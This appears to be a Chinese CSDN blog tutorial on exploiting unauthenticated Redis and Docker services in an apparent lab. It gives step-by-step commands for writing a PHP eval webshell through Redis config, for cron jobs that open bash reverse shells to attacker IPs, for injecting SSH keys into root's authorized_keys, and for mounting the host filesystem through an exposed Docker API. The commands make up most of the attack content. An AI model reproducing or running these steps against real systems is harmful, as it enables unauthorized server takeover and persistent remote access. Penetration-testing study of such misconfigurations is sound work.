14-未授权漏洞利用

文章详细介绍了如何利用Redis未授权访问漏洞进行信息收集和攻击,包括写webshell、定时任务反弹shell以及SSH公钥获取shell。同时,也阐述了Docker未授权访问的漏洞利用,包括信息收集、进入容器的方法以及写ssh公钥和定时任务获取shell的手段。
摘要由CSDN通过智能技术生成

Redis未授权访问漏洞

进行信息收集,寻找可能利用的点

  1. 通过nmap进行端口扫描,发现如下端口开放:
    22端口:ssh远程登录
    80端口:http网站服务
    6379端口:redis服务

image.png

  1. 已知目标开放了80端口,使用浏览器尝试访问发现是一个测试页面:
    image.png

  2. 通过目录扫描发现网站敏感目录或敏感页面,发现存在phpinfo信息泄露:
    image.png
    image.png

  3. 目标机器存在6379即Redis服务,尝试测试是否存在Redis未授权漏洞:

首先下载Redis客户端连接工具(工具包里),解压后进入Redis目录,然后通过make进行编译,即可使用Redis-cli尝试连接Redis服务器:

tar -zxf redis-6.0.3.tar.gz

cd redis-6.0.3

make
image.png

编译后redis-cli默认生成在src目录,进入src目录,将redis-cli复制到 /usr/bin 目录即可以在终端的任意目录下执行redis-cli:

cd src/

cp redis-cli /usr/bin

cd …/…/

redis-cli -h 10.1.1.200 -p 6379

image.png
-h:指定连接的redis服务器

-p:指定redis服务器端口

info:打印系统信息,如Redis的版本、目标系统版本、系统架构等

进行Redis未授权访问漏洞利用

1. Redis未授权写webshell

1)通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限

要把一句话写入网站根目录,有两个前提条件,第一:知道目标网站根目录绝对路径第二:对目标网站根目录有写入权限,通过对前面phpinfo页面的信息收集,我们可以知道目标网站根目录绝对路径为:/var/www/html

image.png

通过执行如下命令写入一句话木马到网站根目录:

redis-cli -h 10.1.1.200 -p 6379 #连接redis服务器

config set dir /var/www/html #设置数据库备份文件的放置路径

config set dbfilename shell.php #设置备份文件的文件名

set x “<?php @eval($_POST['test']);?>” #添加一个键”x”,值为一句话木马

save #保存

image.png
注意:设置键值为一句话木马时,可以使用如下形式:

set x “\r\n\r\n<?php @eval($_POST['cmd']);?>\r\n\r\n”

解释:”\r\n\r\n” 表示换行,用Redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

通过浏览器访问对应页面确认是否写入文件成功,显示如下,说明成功写入:
image.png

2.Redis未授权写定时任务反弹shell

1)Kali使用nc开启监听,kali终端下执行如下命令:

nc -lvvp 4433

2.)执行如下命令写定时任务

redis-cli -h 10.1.1.200 -p 6379 #连接目标redis服务

set xx “\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n”

#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1

config set dir /var/spool/cron #设置备份路径

config set dbfilename root #设置备份文件名

save #保存
image.png

3)等待一分钟后即可得到目标shell:
image.png

3.Redis未授权写SSH公钥获得shell

攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 Redis的用户是 root 用户,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以无需密码直接登录目标服务器。

1)生成公钥,默认情况下,生成在用户家目录下的 .ssh 目录下:

ssh-keygen -t rsa
image.png
2)将公钥写入foo.txt文件,前后用\n换行,避免和Redis其他缓存数据混合

(echo -e “\n\n”; cat ~/.ssh/id_rsa.pub; echo -e “\n\n”) > /tmp/foo.txt

image.png

3)将foo.txt写靶机(使用redis-cli -h ip命令连接靶机,写入文件)

cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey
image.png

4)连接Redis

redis-cli -h 10.1.1.200 -p 6379

5)设置备份文件路径

config set dir /root/.ssh/

6)设置上传公钥的备份文件名字为authorized_keys

config set dbfilename “authorized_keys”

save
image.png

7)远程连接目标机器

ssh root@10.1.1.200 -i /root/.ssh/id_rsa

image.png

4.主从复制RCE

	如果把数据存储在单个Redis的实例中,当读写数据量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中 主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

Docker未授权访问漏洞

进行信息收集,寻找可能利用的点

1. 通过nmap对目标进行信息收集,发现如下端口开放

22端口:ssh默认端口

2375端口:docker远程操控(通过这个端口对远程docker deaom进行操作)
image.png

  1. 已知目标开放2375端口,通过浏览器进行访问,如果页面显示message “page not found” 代表存在漏洞
    image.png
  2. 如若页面空白显示

1)可以通过info获取docker信息
image.png

2)获取image列表
image.png

docker未授权访问漏洞利用

  1. 使用docker命令连接目标机器

1)通过docker client使用-H参数连接目标主机的docker,并使用ps -a命令查询目标系统运行的所有容器

docker -H tcp://10.1.1.200 ps -a #列出所有容器

image.png

列出所有镜像:
image.png

2. 进入容器的方法一:

1)首先docker client连接目标,ps -a 查看哪些容器已经停止:
image.png

2)通过start命令启动一个已经停止的容器:
image.png

3)attach命令连接一个已经启动的容器:
image.png

3. 进入容器的方法二

  1. 新运行一个容器并将entrypoint设置为/bin/bash或者/bin/sh,挂载点设置为服务器的根目录挂载至/mnt目录下(需要root权限启动docker)

docker -H tcp://10.1.1.200 run -it -v /:/mnt --entrypoint /bin/bash 4c9608fd76ba(镜像id)
image.png

image.png

注意:docker run只在第一次运行时使用,将镜像放到容器中,以后再次启动这个容器时,只需要使用命令docker start 即可。

dockerrun相当于执行了两步操作:将镜像放入容器中(docker create),然后将容器启动(docker start)。

4.docker未授权写ssh公钥获得shell:

1)启动一个容器,挂载宿主机的/mnt目录(上一步骤已挂载),之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,之后就可以用root账户直接登录了。

2)首先kali生成id_rsa公钥:ssh-keygen -t rsa
image.png

生成的公钥在/root/.ssh/ 目录下:
image.png
2)将生成公钥写入到目标/root/.ssh/authorized_keys文件中:
image.png

'>'这个代表的意思为覆盖,>>代表为追加

此处的路径为之前所挂载的路径,如果挂载root路径那就为/root/root/.ssh

写入后即可通过ssh进行连接,获取宿主机的shell:

image.png

5. docker未授权写定时任务获得shell

1)启动一个容器,挂载宿主机的目录(此前已挂载),之后将反弹shell的脚本写入到/etc/crontab中,攻击机nc -lvvp port会得到一个反弹的shell。

将反弹shell的脚本写入到/var/spool/cron/root(centos系统)或/var/spool/cron/crontabs/root(ubuntu系统)

2)Kali开启监听:

3)写入反弹shell的脚本

*****为定时任务 此处为每分钟执行一次 /bin/bash -i >& /dev/tcp/10.1.1.101/1231 0>&1

image.png

4)获得目标shell

image.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

joker_fan`

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值